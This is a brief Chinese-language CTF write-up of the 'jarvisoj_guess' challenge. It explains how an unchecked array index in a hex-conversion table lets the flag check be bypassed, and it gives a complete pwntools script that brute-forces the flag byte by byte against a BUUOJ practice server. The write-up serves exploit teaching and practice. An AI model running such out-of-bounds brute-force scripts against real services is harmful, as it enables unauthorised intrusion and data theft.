jarvisoj_guess(下標越界導致盲注)
首先,檢查一下程序的保護機制
然後,我們用IDA分析一下,轉換的時候沒有檢查flag_hex[2*i]和flag_hex[2*i+1]的值是否向上越界,如果向上越界,我們可以令flag_hex[i]爲’0’,而flag_hex[i+1]爲p8(offset),這樣s[i] = value2 | 16 * value1的值就是value2就是bin_by_hex[flag_hex[2*i+1]]也就是bin_by_hex[offset],那麼如果取到上面v4的內容,就能通過比較。
然後,我們就可以單字節爆破了
#coding:utf8
from pwn import *
#預先生成一個可以pass的payload
payload = ''
for i in range(50):
payload += '0'
payload += p8(0x100-0x40 + i)
sh = remote('node3.buuoj.cn',28532)
#接下來,就可以逐字節爆破了
flag = ''
for i in range(1,51):
print "guess the index {}'s char".format(i)
for c in range(32,128):
pay = payload[0:2*i-2] + hex(c)[2:] + payload[2*i:]
#print pay
#sh = remote('127.0.0.1',9999)
sh.sendlineafter('guess> ',pay)
ans = sh.recvuntil('\n')
if 'Yaaaay!' in ans:
flag += chr(c)
break
print 'flag=',flag
sh.close()